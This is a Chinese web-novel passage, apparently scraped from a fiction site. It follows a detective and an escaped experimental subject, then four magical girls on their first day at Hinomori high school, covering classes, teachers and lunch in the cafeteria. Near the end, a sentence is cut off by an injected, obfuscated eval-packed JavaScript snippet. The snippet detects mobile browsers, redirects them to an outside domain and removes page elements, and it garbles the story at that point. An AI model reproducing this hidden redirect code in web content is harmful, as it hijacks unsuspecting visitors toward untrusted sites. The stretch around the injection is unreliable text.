“我很奇怪吗?”六十七号突然问了,启明星看过去,他还是那副温文尔雅的模样,端正地坐在客厅的沙发上,得体的装束和健硕的身材让他看上去像是一位来进行商谈的客户,自认为人格魅力很强的那种。 “看着好很多了,为什么这么问?”启明星如实回答。 “那就好了,”六十七号得到答案之后就没再纠结了,“我还以为我学的不像样呢。” 启明星看向他,想告诉他自己不是他的老师或者家长,但又想起来自己确实是他的老板了。 她也不知道老板是否应该从基础开始教育员工,启明星侦探事务所只有启明星一人。 重点在于,六十七号是一个身怀特殊能力与神秘背景的实验体,而启明星则是出于一些个人的目的将他留在事务所里的,她不认为自己有足够的能力为这样的一个人负责并处理他所带来的所有麻烦。 “我的评价并不是你的标准。”启明星看着屏幕说。 “不是吗?可是,我觉得这样就挺好的。”六十七号犹豫地说,他的犹豫语气和他的外形不太相符。 “我和你是合作关系,同时给予你一定程度上的庇护,如果你有着自己想做的事情,那就不能只看我的评价。”启明星说。 “这样吗?”六十七号有些失落。 启明星想知道在这之后他想说的东西。 “你不是说要复仇吗?除了这个目标以外你还准备了其它什么东西吗?”启明星问。 “什么都没有!”六十七号迅速大声回答说。 “我并不是在真的问你些什么东西,”启明星侧过头看向他,“毕竟我也知道你答不上来什么,我是想让你开始思考。” “思考什么?”六十七号愣住了。 “思考包括‘思考什么’在内的所有问题,”启明星好心地给了提示,“你记得我们之前说的吧?你是从实验室里逃出来的实验体,我帮你遮掩行踪,你协助我的工作。我不会在你的目标上给予你过多的帮助,毕竟我只是想搞清楚我的雇主到底是谁。” “我记得!”六十七号迅速反馈,“不过我还是不知道我该思考什么。” 启明星看着脑袋似乎是空空如也的六十七号,心里无法真的把他当作一个普通12岁的小男孩看待,他到底是想要活下去,还是想要复仇,启明星实际上也没有那么在乎。 “那就慢慢来吧,谁不是这样过来的呢?”启明星将视线转移到屏幕上,查看起了新的邮件内容。 “谁不是?意思是谁都是吧!”六十七号反应了过来,启明星没有理他。 或者说,启明星没有开口嘲讽他已经是在很努力了,她谨记这是她的员工。 “那启明星也是这样,像我这样的!”他因为这个结论而感到吃惊。 “很高兴你对我有了新的误解,还有,记得叫我老板。”启明星头也不抬地说。 “好的老板,”六十七号说,“为什么说是误解呢,不是说谁都是这样过来的吗?” “你是觉得我们哪里看上去是一样的?”启明星问了。 “看上去不一样,不过,‘过来’是一样的,老板也同样是走过来过的吧。”六十七号肯定地说。 “想不到你还有不错的反思能力。”启明星说。 “哪里哪里,老板过誉了。”六十七号有些不好意思。 “去把我让你读的书读了。”启明星吩咐道,对方立即起身往窗边走去。 “等等,把那张桌子移走,以后不要靠近窗边。”启明星说。 “好的老板。”六十七号迅速地把高桌搬进了储藏间。 那桌子是六十七号喜欢待着的地方,但他此时没有提出任何的异议。启明星对这一点感到满意,一个不会思考命令的含义的下属可以说是非常难培养的,如果他的缺点是脑子不好用的话,那启明星可以接受。 “老板,我可以不吃水果软糖吗?”六十七号问,他不喜欢酸味。 糖果里六十七号最喜欢带开心果果仁的白巧克力,其次是焦糖,但他一直出于一种配平心里每种都会吃。 “可以,”启明星回答,“你一直吃糖是因为吃正餐没有吃饱吗?” “是的!”六十七号的回答没有什么委屈的感情,“差不多半饱吧。” 通常肌肉含量高的人能量需求也高,启明星往常一个人时外出就餐会遇到困难,但她也没办法做饭,于是通常只去一两家特定的餐馆就餐。但和六十七号一同出门的话就不需要考虑那么多了,两个人的话无论剩下什么都不会显得奇怪的。 她时常想若是自己的年龄再增长三四岁的话食量可能会大大增长,毕竟青春期的少年饭量是无底洞。 而六十七号在今天之前吃的都是双人份食物,实际上他的食量应该按青少年算。 “你以后所有的疑问和需求都必须第一时间和我说,哪怕你认为那可能是合理的。”启明星郑重声明。 “好的老板!”六十七号高兴地回应。 10. 壹 第二天开始正式上课了,日之森高中部实行自主选课,但高一的学生课程都差不多,这其中要除去一些早已被家里人定好未来规划的学生。 不需要考虑社团活动的学生晨课报到的时间在八点半,九点之后各自前往不同的教室上课。上午三个课时下午两个课时,每节课50分钟,课间休息十分钟,午休时间为中午十二点到下午一点半,之后开始下午课程,下午三点半结束全天课程。 一般基础类教学多为大课,分为AB班级,一班二班为A课程,三班四班为B课程,两者同时间进行但分为两位不同的老师管理,每个班级分配两位助教。基础课程的进阶高级课程在高年级可以根据未来职业走向选择不同的方向,多为一位老师专门教学。 例如古河梦久老师便是专门教学高三高四学生居多的微积分和统计。 日之森为四季学期制度,仅接受春季入学,每学年的暑期默认为假期,但也为学生提供交流学习计划。一学期自主选择多节选修课,三节必修课按照年级提供,但接受通过考试跳级上课,或者通过社会实践类型的活动申请学分。每学年至少需要修12学分,最多修18学分,满60学分就可以申请毕业,可以提前毕业但毕业典礼为固定时间。 这样下来每个学生每天都会有课时是空出来的,可以选择去图书馆自习或者去社团活动楼。 这些来自新生入学手册,与课程介绍和选课表一起提前一周邮寄到学生手里,并在开学第一天提交给班主任。开学第一周为试课周,学生可自由改动自己的选修课选择。 高一的必修课为基础数学,英语语言与写作,以及基础科学,分别是物理、化学、生物基础,按学期轮换。选修课有艺术入门,编程基础,世界历史与文化,基础心理学,摄影与数码媒体,运动。 除非特殊情况,所有的必修课都在上午进行,选修课的老师一部分也同时负责同名社团活动。 正式开始高中生涯的四位魔法少女也在早晨抵达教室,使用魔力通话各自分享对此的感受。 【好有意思,我们可以自己选择想上的课。】艾克里普非常满意课表中自主操作的空间,【必修课都是一样的吧,大家都选了什么自修课呢?】 【我选了摄影和运动,】犬山晓收拾着书本说,【不过我很在意社会实践学分,这个是什么?】 【一般是高四的学生会选择这样做,通过实习或者各种活动行程可以直接申请学分,很方便呢。】有乐羽生解释说,【我选修的分别是剑道还有合唱声乐。】 【日之森与其它学校制度也相差太大了吧,更像是大学了,】森山寺未央对于选修课兴致勃勃,【如果有很多空课的话岂不是有很多课余时间?我想找那种管的很宽的老师。】 【那感觉应该选体育相关的吧,不过现在的体能训练教练好像反而管的很严。】艾克里普印象中操场上总有谁在练习,【多试试看吧,这周内可以试课来着。】 【那可太好啦,】森山寺未央很满意,【而且居然有心理学,我要选这个。】 【羽生在初中上课时也是这样的吗?】艾克里普好奇地问。 【初中是统一排课啦,全天都在一个教室上课而且也不能选选修课。】有乐羽生也对于高中的课程安排感到新奇,她本来以为自己也大概率是有特殊安排的,但她的课表非常普通。 【说起来我有件事想说,】森山寺未央提起来这件事,【未雅她说会帮忙写曲,但也想作为乐队成员参与社团。】 【同意了吗?太好了!】艾克里普很高兴乐队的问题被解决。 【我没什么意见,不过我们基本上没有社团聚会活动吧。】犬山晓说,【你姐姐她不来参与乐队活动也可以吗?】 【她就是这个意思,她现在不喜欢人多的地方,也不太想考虑这方面的问题。】森山寺未央说。 【那等社团申请通过之后写一下加入申请表就好了。】有乐羽生也没什么意见。 “各位早上好,现在开始点名。”随着晨课开始,一位高挑的老师带着文件夹走进了教室。她穿着一丝不苟的制式西服,西装外套左领上别有日之森教师勋章。她整齐利落的短发大多别在脑后,双眼扫视所有学生,些许皱纹辅佐她的严肃神态,戴着一副眼镜,仅仅是站着就让人很难忽视她身上那股令人敬畏的气场。 “早上好,古河老师。”有学生向她问好,于是她微笑着点头回应了。 古河梦久是高中部一班四年的班主任,同时也负责高年级数学微积分和统计的教授。 有乐羽生对她并不陌生,她在走廊或办公室里沉默时,总显得格外难以交流,她习惯让眉头微微下压,嘴角无意间流露出的淡漠让不少老师和学生对她敬而远之。但只要面对学生她的神情会柔和下来,带着不动声色的亲切感,可能这也是学校选择让她担当班主任的原因。 然而,对待同事她却鲜少留情。有乐羽生在初中时就偶然听闻教务会议上,她的态度异常严格,不留情面地指出教学上的问题,让许多人难堪。但她的资历确实深厚,持有多博士学位,甚至在数学研究领域小有名气,这让她在学校拥有极高的威望。 即便有人对她的不留情感到不满,也不得不承认她的专业与远见。甚至日之森内部有不少古河梦久的粉丝,不论学生或老师。 【古河老师虽然年轻但是很有威严呢。】艾克里普感慨说。 【年轻?难道她只是因为学数学而显老吗?】森山寺未央对此莫名惊悚。 【怎么会,古河老师已经在日之森教学十年有余了,现在应该快四十了吧。】有乐羽生疑惑道,【虽然老师并没有成家,但无论怎么说也不能说是年轻吧。】 【二十几岁就当上老师了吗。】犬山晓看向讲台上正在点名的班主任。 【三十几岁还活不明白的人占大多数哦,而且古河老师她难得是个有责任心的人呢。】艾克里普依旧认为古河老师是个年轻有为的人。 【那也确实啦,】有乐羽生承认,【当年古河老师还在读博士学位时是这里的助教了,现在好像是依旧在读吧。】 【原来是这样,】森山寺未央莫名感慨,【是金子果然迟早会发光。】 “森山寺未央和森山寺未雅。”古河梦久同时点了二人的名字,这让不少人的目光聚集了过来,二人举手,森山寺未央莫名觉得老师看自己的目光格外地柔和。 她想要和一旁的姐姐聊这件事,但现在还在点名,只好作罢。 点名结束后古河梦久简单介绍了一些校内注意事项以及这周的活动,便散会让学生们自主准备第一节数学课了,必修课一般都需要去更大的教室上课,所以大家得带着书提前出发。 “未雅,你有没有感觉刚才老师看着我们的眼神有点奇怪。”森山寺未央一边在柜子里找数学书一边询问柜子在她旁边的森山寺未雅。 “奇怪吗?这个班上只有我们两个会上她的课吧。”森山寺未雅展示教科书封面,微积分预备课。 “我们入学考试的时候把卷子写完了吧?”森山寺未雅提醒说,“后来那个面试老师问我们是不是已经掌握基础数学了,然后又让我们写了张新的卷子,那张大概是高级数学的考试吧。” “哦,”森山寺未央反应过来,“微积分的教室在哪里来着?” 【所以未央连跳两级数学吗?】犬山晓感慨说,【真是厉害,入选考试卷子上的数学部分很难呢。】 即使分开上课后几人也没有断开通讯,现在老师还在自我介绍阶段,还不需要用心去思考,便有多余的精力多聊几句。 【是呀,听说古河老师虽然看上去严厉但是对聪明的学生温柔些呢。】有乐羽生说。 【果然是这样!那这就合情合理了。】森山寺未央理解了。 【说起来我的英语课好像也和大家不在一起上。】艾克里普的语气颇为惋惜。 【毕竟外国交换生不需要基础的语言学习。】有乐羽生并不意外,【不过今天围绕着艾克里普的人少了很多呢。】 【对哦,昨天可是水泄不通的程度。】犬山晓意识到这一点。 【发现了吗?我带了眼镜。】艾克里普解释说,【我原以为不会需要它的来着,不过果然还是带上比较好。】 【是魔法道具!】森山寺未央想起来艾克里普确实带着一副眼镜。 【没错哦。】艾克里普笑着说。 课上分别开始点名,森山寺未央的课因为人少所以只有一位助教。 “请叫我我西西路老师,不过我也是这个学校的新手,”不到三十岁的西西路虽然也穿着西装,但颜色比起古河梦久显然鲜艳得多,“之前没什么教孩子的经验,以后相处请多多包涵啦。” 森山寺未央看着眼前这位笑容称不上亲切的年轻老师,心里在想古河老师当年当助教的时候也会是这样一副样子吗? 上课时分,西西路老师看上去和蔼但似乎并没有真正地去正视各位学生,似乎是对于这份工作的内容无所谓的样子,并没有特别考虑主教师的教学手法。偶尔有学生提问题她一副“这个居然要解释”的态度完全不作掩饰,不过讲解时倒是带着微笑。 反倒是古河梦久表情严肃,好好地记住了所有学生的面孔和全名,以及一些个人信息。下课后森山寺未央额外清晰的听力捕捉到了二人在教学楼角落的对话。 “你对学生们的态度是怎么回事?这里是高中不是大学或实验室。”古河梦久语气严肃,“孩子们是来学习的,当然不可能什么都一次就理解清楚。” “哎呀,是这样吗?我以为古河老师也明白有些学生并不是真的想来上课的呢?”西西路一副无所谓的样子。 “如果你只是来讨一副资历的就免了吧,”这幅态度明显让古河梦久不喜,“我可以申请让你去别的课当助教。” “哎呀?”西西路的语气并不似古河梦久一般成熟,此时有些意外的样子,“我可不是为了这个来的,哎呀我改就是了,再给我一次机会吧古河老师,我也是第一次教高中生呢。” 古河梦久似乎叹了气,对她来说西西路也算是半个学生了。 “还不走吗?要上课了。”森山寺未雅看向莫名其妙一副微妙表情的妹妹。 “走吧走吧,”森山寺未央没有再去听,“果然不是每个学生都像我们一样天才呢。” 森山寺未雅觉得莫名其妙,没有理会她。 第二节课是英语,大家统一去大教室上课,诺拉老师是一名外籍教师,头发花白,但很有精神。 “为什么板书每个字都是大写?”犬山晓听见有人在小声说这件事,她也很好奇。 【诺拉老师也是学校里的老人了,每天早上会和运动社团的人一起晨跑哦。】有乐羽生介绍说。 【对哦,我在宿舍看见她了。】犬山晓想起来自己早上见过对方。 【那感觉古河老师也是会住宿舍的那种呢。】森山寺未央想。 【那倒是没看见她。】犬山晓否认说,她记住了每个经过宿舍大门出入的人。 上午的最后一节课是科学课,在校内的一个实验室上课,教室内与常规不同,摆设着一张张圆形桌,每张桌子中心有个水池,五人一桌,椅子是高脚凳。 “正好我们五个人可以一组呢。”艾克里普非常开心,她很喜欢这种感觉。 “大家好,我是森山寺未雅,希望未央和大家介绍过我了?”森山寺未雅向几人打招呼,虽然没有被告知,但她还是察觉了自己妹妹和几人的亲近,明白坐在桌子周围的人就是乐队成员。 几人来自同一班级自然见过森山寺未雅,分别介绍了自己的名字,森山寺未雅一一答应,眯起眼睛笑的样子看着很友好。 【未央和未雅说过魔法少女的事情了吗?】艾克里普好奇问道。 【还没有,我,觉得不太能告诉她。】森山寺未央有点头疼。 此时森山寺未雅突然侧目看了眼自己的妹妹,不过很快就移开视线转去看老师了。 【真的没有吗?】犬山晓注意到了,【你的姐姐看你了刚才。】 【未雅她,】森山寺未央想了想措辞,【很聪明,可能勉强比我聪明点吧,可能这件事瞒不过她,不过既然她不问那就是没关系。】 【这算是鸵鸟精神吗?】有乐羽生开了个玩笑,自己笑了起来。 这时,犬山晓感觉到了一股视线,她坐在面对老师的位置,觉得这股视线来自自己身前,在背对着老师座位的有乐羽生的背后,与监控摄像头的视线不太一样。 她轻轻侧身去看,发现有个眼熟的人在看着她们桌,具体来说是在看有乐羽生的背,她想起来这个人是昨天见过的生天目。虽然不在一个班级,但因为大课的分班机制她也在一起上课,前几节课似乎也有她的身影,但没有这样看过来。 【有乐同学,】犬山晓提醒说,【那位天生目同学似乎在看着你。】 本来还背着老师在笑的有乐羽生脸色一下就淡了下来,【这样啊,没关系不用去在意,谢谢犬山同学提醒。】 【没事。】犬山晓心想真的没事吗,不过她也不熟悉二人的关系,就也没再说什么。 基础化学老师木眠特别高,哪怕有些驼背也比黑板旁的骷髅架子高上不少,西装外面套了白大褂,让犬山晓想起来克拉拉,或许科学研究者都有不良体态? “一起去食堂吗?”课后,犬山晓询问几人。 “我得去学生会,大家去吧。”有乐羽生微笑着说。 “开学第一天就开会吗?”森山寺未央感叹着说。 “也不全是开会的原因,总之各位,我先行一步了。”有乐羽生的微笑稍稍变得有些无奈,告别后转身离开了。 其余四人便一起前往了食堂,现在是高峰期,哪怕几个食堂都有多个入口也需要排队。 “食堂很大呢,至少每个学生都有位置坐,也有单人座位。”犬山晓在队伍中和艾克里普聊天,她并不是第一次来这里吃饭了,却是第一次看到这里这么多人。她偶尔一回头就发现自己得抬起头才能与艾克里普面对面对话。 艾克里普的身高比寻常高中生要高上许多,甚至比大多数成年人都高,犬山晓心里比较了一下,觉得如果对方不低头的话至少也有一米八。 “确实,这里人实在是太多了一点。”艾克里普排在队伍中,即使带着眼镜也偶尔会与谁对视,最后她索性干脆看着地板了。 日之森学校食堂分为自助式全时间开放的食堂和在定点开放的购餐窗口,一共有三层楼,外面的学生广场还有室外用餐区和提供点餐后直接带走的快速窗口。 当然不是每个学生都像有乐羽生家庭一样实行限制进食,不如说生长期的孩子往往需要更多的食物,无论是自助式食堂还是窗口都属于经济实惠的类型,如果有特殊需要三楼也可以提供带私人房间的用餐区。艾克里普和犬山晓正在排队进入自助式食堂,森山寺姐妹一起去了楼上的窗口区。 “真是有趣,”艾克里普对此给予正面评价,“以前的学生大概也想不到学校食堂能丰富成这样吧,这里比起食堂简直更像是某种大型聚会或者集市了。” “以前的学生是指很久以前?”犬山晓问。 “是的,大家都是自己带食物去学校,食堂也是像快餐店那样的。”艾克里普回忆道,“我以前作为学徒的时候偶尔会去周围的公立学校帮忙做义工,是很久以前的事了。” “其实现在很多学校也是这样的吧,学生的选择并不算多。”犬山晓想起自己见过的那些学校,“只是日之森比较特殊。” “这样吗?原来日之森在这里也算是特殊的学校了。”艾克里普理解了一些。 前面的人都进去了,二人也拿出学生证刷卡进入。 午餐时间的食堂区域人流涌动,却井然有序。阳光透过大面积的落地玻璃洒落在宽敞明亮的大理石地面上。空气中弥漫着混杂的香气,有蛋白质被炙烤的香气交织着奶油、香料和新鲜出炉的小麦烘培制品的芬芳。 令人心旷神怡啊,犬山晓喜欢这种被温暖气息包围的氛围。 二人取了餐具后向内走,中央的开放式餐台沿着大厅延展,一排排不锈钢餐具在温暖的光晕下熠熠生辉。犬山晓走到烤肉区,每样取了些,又夹了些意面和前者拥挤在一个圆盘中,最后在中央的沙拉台搭配着取了一份沙拉,就准备去找座位。她回头去看艾克里普,却发现对方只挑了些甜品和蔬菜。 “就吃这些可以吗?”犬山晓随意地问道,她清楚艾克里普魔力深厚,便也没有提醒过多。 “我没什么进食的习惯,这样就足够了。”艾克里普摇了摇头。 她用叉子举起一颗蓝色马卡龙,咬了一大口然后发现自己咬到了叉子。 “虽然说之前就发现了,但艾克里普和我们真的很不一样呢。”犬山晓感慨说,并非是抱有某种提醒或者刻意的比较,更多的是一种松了口气的感觉。 “不一样吗?我确实已经很久没有像大家这样生活过了。”艾克里普眨眨眼,“我觉得我做的还可以?而且这样和晓待在一起我也不觉得紧张。” 这句话让犬山晓有些感同身受,她也曾经花费大力气让自己适应正常人的思考方式和生活,即使直到现在她依然压抑着一部分自我,但从外在来看已经并不是一个怪人了。 若是像昨天那样被围着的话,很快就会被发现不对吧,犬山晓这样想。 “为什么艾克里普会来这里呢?”犬山晓不禁问道,“我不是说来日之森,而是来上学,像个普通人那样。” 就像她一样,为了什么而选择走入人与人之间。 “问我这件事的晓一定和我一样,我能理解哦。”艾克里普叹息着说,“我们一定是在之前自己一个人生活过了很长的时间吧,虽然并不感到痛苦,却也想尝试改变。” 犬山晓点点头。食堂内人来人往吵闹个不停,但没有谁说的话是她能理解的。 “那就对了,我是因为大家一起的生活感到了好奇。”艾克里普欣喜地笑着地说,“没想到能遇到大家,当时决定来这里真是最正确的决定。” 虽然艾克里普嘴里说的犬山晓也认同,她也是因为想要摆脱什么而选择来到这里的,但却在细枝末节上有所不同。 “是啊,”犬山晓笑着说,“我也很高兴能遇到你们。” 二人又以魔法的一些差异聊了起来,不知不觉之间盘子里的食物被消耗完毕,犬山晓起身准备再去取些食物,艾克里普留在座位上等她。 “说起来,你有没有觉得阿尔卡纳同学产生了些变化?”她捕捉到有人在议论她的名字。 “是啊,昨天不是好多人在围着她说话,今天就一个人也没有了。为什么?她有什么特殊的情况吗?我完全不知道啊告诉我吧!” 无法不去听见的艾克里普无奈地想,这些她确实没办法解决。 “我也不知道诶,但总感觉有点奇怪。不过说起来她很快就有了很多朋友呢。” “是啊,在这里交朋友可不容易啊,真羡慕她。” “有什么好羡慕的?真要说羡慕还是看看学生会那些人吧。” “哎呀,那些人怎么比?不过有乐同学也和阿尔卡纳同学一起呢,我看见她们在科学课上在一个组里了,那五个人到底是怎么认识的啊。” “真搞不懂有乐同学在想什么,无论如何那些人不都是普通人吗?” “这可不好说哦,我听说啊…” “久等了。”这时犬山晓回来了,盘子里有水果和一点点甜品,她发现艾克里普似乎在想些什么,神情凝重。 “羽生她魔法少女的身份暴露了吗?”艾克里普镜片下眉头皱起。 “没有吧?”犬山晓一愣,“为什么这么说。” “我刚才听见,有些同学说她和‘普通人’交朋友,”艾克里普说,“不过似乎没发现我们也是普通人呢。” 就是这个,这一点上她与常人有所不同,犬山晓心里有些无奈地想。 “不是的,羽生她没有暴露。”犬山晓说,也没有注意自己直接叫了有乐羽生的名字。 “那为什么?”艾克里普不理解。 “有乐羽生家人应该是校董会成员,”犬山晓试图解释,“校董会成员的孩子在校内相当于是特权阶级,对于这些人来说我们才算是‘普通人’。在艾克里普眼里我们才是特殊的那部分对吧?” 虽然这样解释了,但艾克里普明显还是不理解,又或者说想法未能改变,犬山晓实际上也并不清楚所谓的“不普通人”到底不普通在哪,但她明白人类社会确实是有着隐形的阶层存在,所谓的人人平等只不过是说出来让被不公平对待的人心里好受点的东西。 但这些就没必要讲给艾克里普听了。 “我明白了,”艾克里普脑子转过弯来了,“羽生是贵族,对吧!” “差不多吧。”犬山晓直觉有哪里不对,但并不打算解释更多了。 “我记得这个国家没有贵族制度来着,难道说有乐家族祖辈是其它国家的贵族移民过来的?那怪不得日之森看上去建筑很像那边的建筑,原来是有贵族参与建设。”艾克里普说的头头是道,居然完全能够自圆其说。 “差不多吧。”犬山晓埋头吃草,希望有乐羽生解释的时候不会太辛苦。 “那这里的这些贵族还挺亲民的,居然和平民一起上课,也不需要行礼。”艾克里普感慨说,“我以为所有贵族都是一个样子呢,西边大陆山脉中的一户酿酒的贵族人家连扫地的人都比羽生傲慢得多,果然还是得多看看世界。” 就这样午餐结束了,犬山晓进食相当快,二人将餐盘放到回收柜之后便回到教室开始准备下午的自选课。 另一边,森山寺姐妹二人在二楼随便找了个地方坐下,手里端着两份一模一样的汉堡套餐。 “居然有外面的餐厅牌子。”森山寺未央非常惊讶。“配置好全面的食堂啊。” “是啊,而且也没有涨价。”森山寺未雅似乎是对于食堂里有自己以前喜欢吃的牌子这点非常满意,松了口气的样子。 “而且味道也没变。”森山寺未央拆开包装后迅速地咬了一口。 看她吃了一口后,森山寺未雅也拿起汉堡咬了一口,点点头表示肯定。 二人的座位在角落里,但依然偶尔有人路过她们并投来目光,实际上二人这么多年来一直是这个待遇,森山寺未央早已习惯这些。 但此时森山寺未雅明显感到了不舒适,她迅速地吃完了手里的食物,没有碰套餐里的其它东西,森山寺未央明白对方这是要走了。 “要不你先回教室?”森山寺未央说,虽然不明白为什么姐姐突然非常反感这样的行为,但还是不要刺激她的精神比较好。 森山寺未雅点了点头,没说什么,带着餐盘从人少的地方离开了。 望着对方离开的背影,森山寺未央一边有点担心一边准备吃完汉堡套餐再吃点别的。 没办法,虽然汉堡套餐已经是一个成年人正餐的量了,但她还是非常饿,可能是昨晚同化了新的魔物后魔法消耗也上升了的原因吧。 就这样换着窗口和座位买了了三份套餐后,森山寺未央拿着手里的托盘觉得自己吃完手里这份也就差不多了,而且二楼食堂的不重复路径已经差不多被走完了,再这样下去她跑来跑去的身影就有大概率被发现。 就在她在一处新的座位坐下,抬眼却看见了眼熟的身影,是有乐羽生,按理来说她应该在学生会那里吃饭,现在已经临近上课时间,食堂里人不算多,二楼的一些窗口已经关闭了,只剩下咖啡店和小卖部类型的还开着。 “羽生,这里这里。”虽然不知道为什么对方在二楼徘徊,但森山寺未央还是抬手招呼。 而听见声音的有乐羽生转过头,虽然体态,微笑,每一步的距离都没有变,但森山寺未央还是觉得她眼睛一亮后分外快速地走向了自己。 “哎呀,中午好,未央,真高兴在这里看见你。”有乐羽生打招呼后在对面坐了下来,有些急切地问,“请问这个我可以吃吗?” 对方指的是森山寺未央刚刚在面包房关门前去买的三明治,托盘上有不同口味的三明治和面包一共5个,正好满足了一个“胃口有点大而且下午要吃东西”的学生的胃口。 “吃吧吃吧,学生会那里没有让你们吃饭吗?”森山寺未央好奇地问。 得到允许的有乐羽生道谢后先是拿过鸡蛋沙拉三明治,手指有些颤抖地拆开包装后开始进食,虽然动作斯文但几乎没怎么咀嚼,森山寺未央递过去一瓶葡萄果汁茶,对方没来得及道谢就快速地喝了一大口,然后才有力气说话。 “谢谢,今天中午开完会后我有事,解决后那里的食物都被收走了,”有乐羽生苦笑着说,“我还没带学生卡。” “吃吧吃吧,不饿了再说话。”对那种饥饿感同身受的森山寺未央又分给她一个水果奶油三明治。 非常感动的有乐羽生抓紧时间吃,毕竟也快要上课了,可能是因为饥饿,三明治消失的速度异常快。要是被母亲看见就要被骂了吧,她这样想着,免不了注意到了森山寺未央放在桌子上的手机。那是一个与近年新出的轻薄手机不同的存在,侧面看近乎有2厘米厚,屏幕倒也是触摸屏,却是已经碎成好几块了。 有乐羽生拆三明治包装的动作一愣,心里忽然感到了一丝心酸。森山寺未央看她顿在那里也不知道是发生了什么,还以为她噎住了,就上前拍对方的背帮忙顺气。 “…没关系,没关系,我没有噎住,让未央担心了。”明白对方在想什么的有乐羽生摆了摆手,有些犹豫要不要问些什么,但又担心自己的问题伤到对方的自尊心。 “那快吃吧!我等你。”森山寺未央一愣,“我刚才吃过饭了哦,不用担心我。” 有乐羽生捧着水果三明治,吃也不是,不吃也不是,她迅速回忆自己母亲的教导,却绝望地发现没有任何可以用来应对当前情况的。因为森山寺未央在她看来并非是那些表面关心一下就好了的人,而是需要真正考虑未来相处的同伴。可有乐羽生却又对她不甚了解,也对所谓的“未来会一直相处下去的同伴”的相处方式不甚了解。 “未央,你的手机,就那样放着不管没关系吗?”有乐羽生微笑着,担忧地问道。 “手机?”森山寺未央看向自己的手机屏幕,霎那间明白了有乐羽生为什么愣住,“啊,是这个啊!” 她迅速拿起手机向有乐羽生展示,或许是因为型号特殊,背面连手机壳也没有。 “这个手机是妈妈帮我改装过的,和未雅的手表连在一起的终端,可以打卫星电话的哦。”森山寺未央比划着说,“屏幕是连在后面的,所以换起来特别麻烦,我觉得能看得清就可以了。” “这样啊!”有乐羽生压讶异地看着那个笨重的手机,感到惊奇。 “你看!”森山寺未央将手机一甩,有一根天线从手机背面伸出,“很有意思吧!” 确实很有意思,这这个手机八成是森山寺姐妹的母亲为了她们的安全原因特意设计的呼叫道具,森山寺未央本人不在乎其外观问题,于是那手机就一直这样灰扑扑的。有乐羽生意识到这一点,为自己之前的想法和问题感到了一些羞愧。 “给你,这样甩着很好玩!”森山寺未央把手机递给了有乐羽生,她愣了愣,接了过来,比普通手机重三四倍的分量诉说着其中的内容物绝非虚构的。有乐羽生一甩,天线伸长,再往回一收,天线收回,手机变回了不起眼的模样。 她一定是老是这样甩着玩才把它摔成这样的,有乐羽生意识到了这一点,笑了。 “很好玩吧!”森山寺未央认为对方是赞同自己的观点才露出笑容的,有些得意。 “很有趣!像是电影里的特工会用的道具呢!”有乐羽生顺势点头。 饭后,二人一起往教室走,有乐羽生说明了中午的事。 “所以居然会有学生找你家长打小报告。”森山寺未央对于这种做法闻所未闻,哪里的学生会直接找同学的家长打小报告。 “天生目同学家里和我父母有所关联,我们从小学开始就认识了。”有乐羽生解释说,“大概是过年会去对方家里互相送贺礼的程度。” “那确实很亲近了。”对于森山寺未央来说这已经是亲戚才能有的待遇了。“但我还是不理解为什么会找你父母打小报告,她和你关系实际上不好吗?” “大概是看不惯我的做法吧,而且我妈妈一直有和她联系。”有乐羽生实际上能理解,“她觉得我这样丢了学生会的脸?” “这算什么?”丢脸帮凶森山寺未央从小就是被夸的那个,哪里受过这样的委屈,马上就生气了。 “所以我中午去找她说了这件事,说别管我的事。”有乐羽生也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706123|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点生气,眉头皱起,森山寺未央觉得她当时说的话大概没这么礼貌。 “然后呢?”她好奇问。 “然后我转身就走了,没办法太饿了。”有乐羽生叹了口气,“不过她好像确实在我身后说什么’你什么意思给我说清楚‘之类的很没礼貌的话,真是不像样。” “是有点啦。”森山寺未央点点头,觉得对方管太宽了,“语气好差哦。” “可能是因为天生目她家里从事的是□□工作吧,从小说话就很不礼貌,后面初中了才好一点。”有乐羽生说。 “咦?是那种□□吗?有纹身的那种?”森山寺未央吓了一大跳。 “天生目同学确实有纹身。”有乐羽生也不隐瞒什么,解释说,“不过这也不应该是她打小报告的理由。” “那也确实啦。”森山寺未央觉得这确实莫名其妙,“她后续还会来找麻烦吗?” “我也不清楚,再说吧。”有乐羽生并不在意,“说起来未央平时会自己买吃的吗?” “会呀,饿了总得吃东西。”森山寺未央觉得这是理所当然的,“为什么问这个?” “因为我家里人管的很严,我不太方便自己买食物,想找找办法。”有乐羽生表达自己的困难。 “那可是大麻烦。”森山寺未央皱眉提议道,“不过你可以试试让你的父母给你充双重饭卡。” “咦?这是什么。”有乐羽生对这个非常好奇。 “日之森学校不是同时实行充值和预购吗?”森山寺未央解释食堂的机制,“学生可以选择预购一定数量的金额提前充值到卡里,这个是和学费一起在上学前支付的。同时也支持根据需要实时充值,这个一般需要使用学校网站充值时提供的银行卡。但实际上我看见有人会去食堂二楼的信息处现场询问充值,而在那里充值的金额会在学期结束后一起算进下一个学期的账单里统一支付,这种方法只有学生能行。” 虽然在学校里待了多年但第一次得知这种事情的有乐羽生大脑如同过电一般愣住,许久之后才开口,“还可以这样,居然还可以这样!” 随即她兴奋了起来,准备明天就试试,不过还是需要考虑额外的经济储备问题。 “谢谢你,未央。”有乐羽生非常认真地道谢,让森山寺未央有些不好意思起来了,她今天中午在食堂二楼时观察到了这件事,本来想自己试试,没想到真的还能帮到别人。 二人走到教室后已经快到上课时间了,森山寺未央给她姐姐带了个沉甸甸的年轮蛋糕,她中午没怎么吃东西。 教室里没有吃东西的禁令,森山寺未雅拆开包装后掰了一小块给森山寺未央,看她一口吞了之后就也迅速把手里的东西吃掉了。 “你们关系真好呀。”有乐羽生的座位在二人附近,有些羡慕地说。 “确实,我们一直这样。”森山寺未雅微笑着点点头,森山寺未央没说什么。 下午的选修课就非常分散了,有些约好一起上课的人一起走,但大多数人都是分散开的。 【放学后一起商议一下乐队的事情吧。】正式分开上课前有乐羽生说,【社团申请已经通过了,下午我们就能去选活动室了。】 